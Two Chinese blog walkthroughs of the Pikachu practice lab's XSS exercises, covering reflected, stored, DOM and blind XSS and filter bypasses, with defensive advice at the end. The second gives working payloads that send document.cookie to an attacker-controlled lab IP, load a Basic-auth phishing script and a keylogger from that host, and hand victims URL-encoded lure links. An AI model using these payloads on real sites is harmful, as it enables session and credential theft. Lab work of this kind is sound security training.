Pikachu之XSS

Posted 2023-04-04 小羊学安全

目录

一、反射型XSS（get）

二、反射型XSS（post）

三、存储型XSS

四、DOM型XSS

五、DOM型XSS-X

六、XSS之盲打

七、XSS之过滤

八、XSS之htmlspecialchars

九、XSS之href输出

十、XSS之js输出

---

Ps：火狐浏览器、phpstudy、pikachu、burpsuite

我们先来了解一下什么是XSS叭，见下图：

接下来，就正式开始我们的实验叭~

一、反射型XSS（get）

反射型XSS通俗的来讲就是当攻击者插入构造好的恶意语句后，用户点击之后回出现弹窗，但这个弹窗是一次性的，刷新之后就没有了，没有存在服务器中

Get呢就是它是以url的方式来提交数据的

了解了这些之后，我们就开始这次的实验叭

先看一下界面，就是一个简单的登录框

输入一些特殊字符看看

从上图我们可以发现特殊字符没有被过滤，那我们就可以利用它没有被过滤的字符来构造payload

输入一半之后写不进去了，想到前端对输入的字符数量做了限制，好说，我们通过F12对其输入长度进行修改

我们在尝试构造payload进行输入

点击提交后出现弹窗，切换页面后弹窗失效，不会在有弹窗，此次实验结束

二、反射型XSS（post）

同上，post是以表单的方式在请求体里提交数据，登录账号密码在提示中已经给出，可自行实验

三、存储型XSS

存储型XSS形成原因也是因为特殊符号过滤不严导致的，但不同的是存储型XSS会将攻击者构造的恶意代码上传后存储在服务器中

同样，先来看一下界面，是一个留言板

还是按之前的思路，输入特殊字符看有没有被过滤，我们发现没有被过滤

构造payload提交后，我们发现语句被执行，出现弹窗

切换页面后弹窗依旧在，充分证实语句被存储，该实验到此结束

四、DOM型XSS

我们还是按之前的思路，输入一串字符，提交后显示what do you see？

我们点击what do you see？试试，404

那我们可以考虑是<a>标签，查看页面源码，我们发现它会将输入的字符串被拼接到了<a>标签中

我们需要构造<a>标签闭合语句，并嵌入弹窗，此次实验到此结束

五、DOM型XSS-X

依旧是先输入字符串看一下，显示“有些费尽心机想要忘记的事情，后来真的就忘掉了”

但我们可以看到，在url上有显示我们输入的字符串

我们可以看出，它的输入其实是从url上获取的，依旧是构造<a>标签的闭合并嵌入弹窗

输入：'οnclick="alert('xiaoyang!!!')">

六、XSS之盲打

在XSS盲打中，我们输入的内容不会在前端输出，会存在后台，也就是说，只有管理员在后台才能看到用户在前端输入的内容

了解了盲打的原理，那就开始我们此次实验叭

先构造弹窗语句进行输入

提交后，我们登录后台看看，后台地址以及管理员账号密码在提示中有给出，可自行查看

登录后出现弹窗，直接X到了后台

在攻击中，我们可以利用其漏洞获取管理员cookie来进行伪造

七、XSS之过滤

输入<script>alert('xiaoyang!!!')</script>提交后显示“别说这些'>'的话,不要怕,就是干!”

我们考虑可能是对<script>标签进行了限制，我们试试大小写绕过

输入：<scRIPt>alert('xiaoyang!!!')</ScriPT>

成功绕过，出现弹窗

八、XSS之htmlspecialchars

htmlspecialchars()函数把一些预定义的字符转换为html实体

当我们输入构造好的弹窗语句后,显示我们的输入已经被记录

我们查看源码发现将<>进行了编码

我们输入特殊字符提交后在查看源码,发现只有单引号没有进行编码

我们可以利用单引号进行闭合,参考dom型来构造payload

输入: 'οnclick='alert(111)'

成功绕过,出现弹窗

九、XSS之href输出

还是按之前的思路,输入<script>alert('xiaoyang!!!')</script>看看,没有弹窗

看一下页面源码,我们发现特殊符号均被编码,这种情况下,闭合和绕过就都行不通了

但是,<a>标签的href属性用于指定超链接目标的url

以下摘自HTML<a>标签的href属性

href属性的值可以是任何有效文档的相对或绝对url,包括片段标识符和js代码段.如果用户选择了<a>标签中的内容,那么浏览器会尝试检索并显示href属性指定的url所表示的文档,或者执行js表达式、方法和函数的列表.

从以上描述可见,我们可以利用javascript协议,输入payload:javascript:alert(‘xiaoyang!!!’)

出现弹窗

十、XSS之js输出

还是按我们最初的思路,输入<script>alert(xiaoyang!!!)</script>,发现没有弹窗

查看页内源码

我们发现它将我们插入的payload写入了原有的<script>标签中

我们可以通过在里面写入js语句构造payload

方法一:

使用’将其闭合,再用;使其结束,然后写入弹窗语句,使用//将后面语句注释掉

输入: ';alert('xiaoyang!!!');//

方法二:

使用’将其闭合,然后使用</script>将原有的<script>结束,在插入payload

输入: '</script><script>alert('xiaoyang')</script>

出现弹窗

好啦,到实验尾声啦

Pikachu靶场中XSS所有实验我们就都完成啦~

那我们就到这里啦~

下一篇我们再见

大家要加油呦✌

Pikachu漏洞练习平台实验——XSS

概述
反射型XSS(get)
XSS案例：盗取Cookie
反射型XSS(post)
存储型XSS
XSS案例：钓鱼攻击
XSS案例：键盘记录
DOM型XSS
DOM型XSS-X
XSS之盲打
XSS之过滤
XSS之htmlspecialchars
XSS常见防范措施
XSS之href输出
XSS之js输出 

概述

简介

XSS是一种发生在Web前端的漏洞，所以其危害的对象也主要是前端用户

XSS漏洞可以用来进行钓鱼攻击、前端js挖矿、盗取用户cookie，甚至对主机进行远程控制

攻击流程

假设存在漏洞的是一个论坛，攻击者将恶意的JS代码通过XSS漏洞插入到论文的某一页面中

当用户访问这个页面时，都会执行这个恶意的JS代码，这个代码就会在用户的浏览器端执行

XSS攻击类型

危害：存储型 > 反射型 > DOM型

• 反射型：交互的数据一般不会被存在数据库里面，一次性，所见即所得，一般出现在查询页面等
• 存储型：交互的数据会被存在数据库里面，永久性存储，一般出现在留言板，注册等页面
• DOM型：不与后台服务器产生数据交互，是一种通过DOM操作前端代码输出的时候产生的问题，一次性，也属于反射型

XSS形成原因

形成XSS漏洞的主要原因是程序中输入和输出的控制不够严格

导致“精心构造”的脚本输入后，在输出到前端时被浏览器当作有效代码解析执行

XSS漏洞测试流程

①在目标上找输入点，比如查询接口、留言板

②输入一组 “特殊字符（>，‘，"等）+唯一识别字符” ，点击提交后，查看返回源码，看后端返回的数据是否有处理

③通过搜索定位到唯一字符，结合唯一字符前后语法确定是否可以构造执行js的条件（构造闭合）

④提交构造的脚本代码（以及各种绕过姿势），看是否可以成功执行，如果成功执行则说明存在XSS漏洞

 

反射型XSS(get)

我们先输入“ ‘"<>6666 ” 用于测试我们的输入会不会被过滤掉，因为有特殊字符

还有我们的输入会不会被输出，输出会不会被处理

 下面我们查看一下页面源码

我们的输入被原封不动地输出到了 p 标签中

下面测试我们输入的JS代码，看是否会原封不动地输出，payload如下

<script>alert("xss")</script>

由于前端对输入长度做了限制，我们需要修改一下才能输入完整的payload

提交之后发现我们的payload在浏览器上成功执行了

我们查看源码可以发现，我们输入的payload嵌入了到了 p 标签里面

这又是正确的JS代码，所以被浏览器正确执行了

这是一个简单的反射型XSS，从前端输入由后端接受再输出

后端没有对这个内容进行存储

另外，这是一个GET型的XSS漏洞，一般将带有XSS的URL伪装后发送给目标即可

如果是POST型的XSS，无法直接使用URL的方式进行攻击

 

XSS案例：盗取Cookie

实验机器

• 攻击者192.168.171.129
• 受害者192.168.171.1
• 漏洞服务器192.168.171.133

攻击流程

先在Kali上搭建XSS后台，将pikachu项目源码放到Kali机器的/var/www/html文件夹中

启动MySQL和Apache服务

service apache2 start
service mysql start

Kali中MySQL的root账号的密码为root，可以根据实际情况配置 /var/www/html/pikachu/pkxss/inc/config.inc.php 中的数据库信息

访问 http://localhost/pikachu ，访问管理工具里的XSS后台，初始化数据库

看到下面的界面就是成功了

 然后进入登录界面、登录

如果碰到连不上数据库的情况，可以尝试执行下面的命令

# 进入MySQL shell
mysql -u root -proot
# 增加权限
grant all privileges on *.* to ‘root‘@‘%‘ identified by ‘root‘;
# 刷新权限
flush privileges;?
# 退出MySQL shell
quit

修改/var/www/html/pikachu/pkxss/xcookie下的cookie.php，将IP地址改为漏洞服务器的地址

cookie.php用于接收受害者的cookie，然后将页面重定向到漏洞服务器的index页面，我们构造的Payload如下

<script>document.location = ‘http://192.168.171.129/pikachu/pkxss/xcookie/cookie.php?cookie=‘ + document.cookie;</script>

当用户提交的时候，我们就能取得用户的Cookie

由于是GET类型的XSS漏洞，我们可以直接构造一个带有Payload的URL，诱使受害者点击就能取得Cookie

http://192.168.171.133/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F192.168.171.129%2Fpikachu%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit

 

反射型XSS(post)

我们登录一下，默认账号密码是admin 123456

 会得到以下界面

这里是以POST的方式提交的，参数内容不会出现在URL中，可以抓包看一下

这时候我们不能直接把我们的恶意代码嵌入到URL中

攻击思路如下

我们需要自己搭一个恶意站点，然后在网站上放一个post表单

将存放POST表单的链接发送给受害者，诱导受害者点击

这个POST表单会向漏洞服务器提交一个POST请求，实现受害者帮我们提交POST请求的目的

实验机器：

攻击者192.168.171.129

受害者192.168.171.1

漏洞服务器192.168.171.133

这个POST表单页面是位于攻击者的Kali机器上 /var/www/html/pikachu/pkxss/xcookie 下名为 post.html 的文件

我们需要修改里面 漏洞服务器 和 攻击者 的服务器地址

post.html页面的作用是：当用户访问这个页面时，会自动向漏洞服务器发送POST请求，然后重定向到漏洞服务器的index页面

http://192.168.171.129/pikachu/pkxss/xcookie/post.html

我们只需要诱导受害者点击上面的链接就能窃取用户的Cookie

 

存储型XSS 

存储型XSS和反射型XSS形成的原因是一样的，不同的是存储型XSS下攻击者的可以将脚本注入到后台存储起来，构成更加持久的危害

我们试着在皮卡丘平台上的XSS上留言，看看是否有什么过滤机制

我们发现我们的留言会一直存在，而且从表现上我们输入的内容直接输出了

下面通过源码观察

我们输入的东西，也直接输出在 p 标签中，看起来没有经过任何转义和处理

下面输入下面的Payload进行测试

<script>alert("xss")</script>

成功弹窗

 

 

XSS案例：钓鱼攻击

我们这里用一个Basic认证去做这个钓鱼攻击

我们在一个存在XSS漏洞的页面上面嵌入一个恶意请求，当用户打开这个页面时

这个页面就会像攻击者的服务器发送请求，这个请求会返回一个Basic认证的头部

这时候会弹出一个提示框，要求受害者输入账号密码，从而盗取用户的账号密码

实验机器

攻击者192.168.171.129

受害者192.168.171.1

漏洞服务器192.168.171.133

首先攻击者需要构造一个钓鱼页面，用来将发送Basic认证的认证框

修改 /var/www/html/pikachu/pkxss/xfish 下的 fish.php 文件，将IP地址改为攻击者的服务器地址

 构造的Payload如下

<script src="http://192.168.171.129/pikachu/pkxss/xfish/fish.php"></script> 

当用户访问这个留言板时，会出现下面的认证框

 上面已经提示密码不会发给正在浏览的网站，如果用户不注意还是可能上当

用户输入的账号密码就已经存到了我们的数据库里

 

XSS案例：键盘记录

实验前先了解一下跨域

什么是跨域

当协议、主机（主域名、子域名）、端口中的任意一个不同时，称为不同域

我们把不同域之间请求数据的操作，称为跨域操作

跨域-同源策略

为了安全考虑，所有的浏览器都约定了“同源策略”。同源策略规定：

两个不同域之间不能使用JS进行互相操作

比如：x.com 域名下的 JS 并不能操作 y.com 域下的对象

如果想要跨域操作，则需要管理员进行特殊配置

比如通过头里面：header("Access-Control-Allow-Origin:x/com") 指定跨域的地址

下面的标签跨域加载资源（资源类型时有限制的）是不受同源策略限制的

• <script src="...">，JS加载到本地执行
• <img src="..">，图片
• <link href="..">，CSS
• <iframe src="..">，任意资源

为什么要同源策略

A登录了淘宝，攻击者向A发送了一个恶意链接http://盗取cookie

如果没有同源策略，url上的js恶意操作A的内容

有了同源策略，就限制了这种状况

 

或者，一个恶意站点A使用了 <iframe src="B站点登录界面"> ，发送该恶意 url 给受害者

如果受害者浏览器如果没有同源策略，那么 A 上的 JS 即可获取 B 站点的登录信息

实验

Kali机器上先修改 /var/www/html/pikachu/pkxss/rkeypress 下 rk.js 中的IP地址

rk.js 是攻击代码，我们可以把这个 js 文件放到我们的恶意站点上，然后通过有 XSS 漏洞的页面去调用

这个文件可以记录用户的键盘操作，然后异步发送给攻击者

但是这个违背了同源策略，因为我们攻击者的机器和漏洞服务器的主机是不一样的

AJAX的请求默认情况下是不能跨域的，这个请求默认情况下是会失败的

去 /var/www/html/pikachu/pkxss/rkeypress 中 rkserver.php 注释掉下面的代码

我们可以用下面的Payload测试一下

<script src="http://192.168.171.129/pikachu/pkxss/rkeypress/rk.js"></script>

提交之后打开控制台，看一下网络请求，我们在页面上随便输入一些东西，会有下面的提示

 

由于 192.168.171.129 是攻击者自己搭建的平台，攻击者可以允许所有人来跨域请求，下面我们把刚刚注释的代码打开

这时候再在浏览器上输入东西，就没有任何提示了，我们也在一直向攻击者的服务器发送数据

攻击者也收集到了我们的击键信息

 

DOM型XSS

DOM可以理解为访问HTML的标准接口，DOM里面会把我们的HTML分成一个DOM树

可以参考：https://www.w3school.com.cn/htmldom/index.asp

 

我们可以以这棵树为入口，通过DOM的某些方法对树进行操作，比如对标签的添加、改变和删除等等

DOM这个东西相当于在前端提供了一个通过JS去对HTML进行操作的接口

下面我们在皮卡丘平台上的DOM型XSS上测试一下

输入图中的内容，观察到如下输出，发现和输入的内容有区别

下面通过观察页面源码

这里有段JS代码，它通过 getElementById 获取到了标签 Id 为 text的内容赋值给str

然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中，a标签会写到 Id 为 dom的 div 标签中

我们通过闭合的方式构造Payload

构造的Payload如下

#‘ onclick=alert("xss")>

成功弹窗

造成DOM型XSS的原因是前端的输入被DOM给获取到了，通过DOM又在前端输出，跟反射型和存储型比起来，它是不经过后台交互的

 

DOM型XSS-X

我们随便输入一些内容，会多出下面一句话

下面观察下面源码

这里也有个JS代码，它定义了一个domxss函数

它利用 window.location.search 获取浏览器中URL的内容，然后赋值给 str

然后经过URL解码和字符串分隔，取出URL中的参数内容

再把 “+” 替换为 “ ”（空格），赋值给 xss

最后把 xss 拼接到 a 标签中，然后写到 Id 为 dom 的 div 标签中

跟前面的DOM不同的是，它的输入是从浏览器的URL中获取的，很像反射型XSS(get)

构造的Payload跟刚才是一样的

#‘ onclick=alert("xss")>

 

XSS之盲打

XSS盲打不是攻击类型，而是一个攻击场景

在皮卡丘平台上，我们随便输入一些东西

提交后我们输入的内容不会在前对输出，而是提交到了后台，可能管理员会去看

如果我们输入一个JS代码，管理员登录后台管理界面，如果后台把我们的内容输出

那后台管理员可能遭受到我们的XSS攻击，我们提交以下内容

并登录后台管理界面（账号密码为admin，123456）

http://192.168.171.133/pikachu/vul/xss/xssblind/admin_login.php

一登录进来就遭受了XSS攻击 

 

XSS之过滤

实际中的系统，或多或少都会做一些安全措施，但是这些安全措施也能方法、逻辑不严谨，可以被绕过

转换的思路

• 前端限制绕过，直接抓包重放，或者修改html前端代码。比如反射型XSS(get)中限制输入20个字符。
• 大小写，比如<SCRIPT>aLeRT(111)</sCRIpt>。后台可能用正则表达式匹配，如果正则里面只匹配小写，那就可能被绕过。
• 双写（拼凑），<scri<script>pt>alert(111)</scri</script>pt>。后台可能把<script>标签去掉换，但可能只去掉一次。
• 注释干扰，<scri<!--test-->pt>alert(111)</sc<!--test-->ript>。加上注释后可能可以绕过后台过滤机制。

编码的思路

核心思路：

• 后台过滤了特殊字符，比如<script>标签，但该标签可以被各种编码，后台不一定过滤
• 当浏览器对该编码进行识别时，会翻译成正常的标签，从而执行

编码应该在输出点被正常识别和翻译，不能随便使用编码。

例子：

<img src=x onerror=alert(‘xss‘)>
将alert(‘xss‘)进行URL编码，可以执行吗？
<img src=x onerror=alert%28%27xss%27%29>

它并不会执行，因为属性标签并不会正常解析这些编码

 

<img src=x onerror=alert(‘xss‘)>
将alert(‘xss‘)进行HTML编码
<img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x78;&#x73;&#x73;&#x27;&#x29;>

当它输出到前端的时候，浏览器会对这个编码进行翻译，从而弹窗

XSS绕过的姿势很多，取决于你的思路和对前端技术的掌握程度

我们在皮卡丘平台上，输入下面的内容看一下后台会怎么处理

可以看到我们输入的<script>标签被去掉了

尝试用大小写混合的方式看看能否绕过

<SCRIPT>alert(111)</sCRIpt>

这时候成功弹窗，后端只对小写的script进行过滤

也可以用别的攻击Payload，后台可能没有做处理

<img src=x onerror=alert(‘xss‘)>

 

XSS之htmlspecialchars

关于htmlspecialchars()函数

htmlspecialchars()是PHP里面把预定义的字符转换为HTML实体的函数

预定义的字符是

• & 成为 &amp
• " 成为 &quot
• ‘ 成为 &#039
• < 成为 &lt
• > 成为 &gt

可用引号类型

• ENT_COMPAT：默认，仅编码双引号
• ENT_QUOTES：编码双引号和单引号
• ENT_NOQUOTES：不编码任何引号

我们在皮卡丘平台上输入下面的内容，看一下后端是怎么处理的

我们输入的内容经过了HTML编码

 

可以看到 “ " ”，“ > ”和“ < ”都经过了编码，剩下的字符没有，单引号依然可以使用

我们可以构造下面的Payload，我们在Payload前后都添加一个单引号用于闭合 href 中的单引号

‘ onclick=alert(1111) ‘

 

XSS常见防范措施

总的原则：输入做过滤，输出做转义

• 过滤：根据业务需求进行过滤，比如输入点要求输入手机号，则只允许输入手机号格式的数字
• 转义：所有输出到前端的数据根据输出点进行转义，比如输出到html中进行html实体转义，输入到JS里面进行JS转义

 

XSS之href输出

看一下xss_03.php的源码

这个页面会接收我们的输入的message，然后判断我们输入的网址，如果输入的不是百度会对我们输入的内容用 htmlspecialchars() 进行处理

这个函数转义单引号、双引号和左右尖括号

然后输出到 a 标签的 href 属性中，在 a 标签的href属性中，可以用javascript协议来执行JS

构造Payload如下，没有上面被转义的字符

javascript:alert(111)

提交后查看源码，我们的输入在 a 标签的 href属性中

此时点击我们的标签就会出现弹窗

如果要对 href 做处理，一般有两个逻辑：

• 输入的时候只允许 http 或 https 开头的协议，才允许输出
• 其次再进行htmlspecialchars处理

 

XSS之js输出

我们随便输入一些东西，然后查看一下页面源码

它会把我们的输入放到JS中，然后对这个变量进行判断，然后再输出

我们可以构造一个闭合，先用一个单引号和</script>闭合掉页面中的<script>，然后再插入自己的JS代码

‘</script><script>alert(‘xss‘)</script>

这时候我们的JS也被执行了

这个漏洞的输出点是在JS中，通过用户的输入动态生成了JS代码

JS有个特点，它不会对实体编码进行解释，如果想要用htmlspecialchars对我们的输入做实体编码处理的话

在JS中不会把它解释会去，这样解决了XSS问题，但不能构成合法的JS

所以在JS的输出点应该对应该使用 \\ 对特殊字符进行转义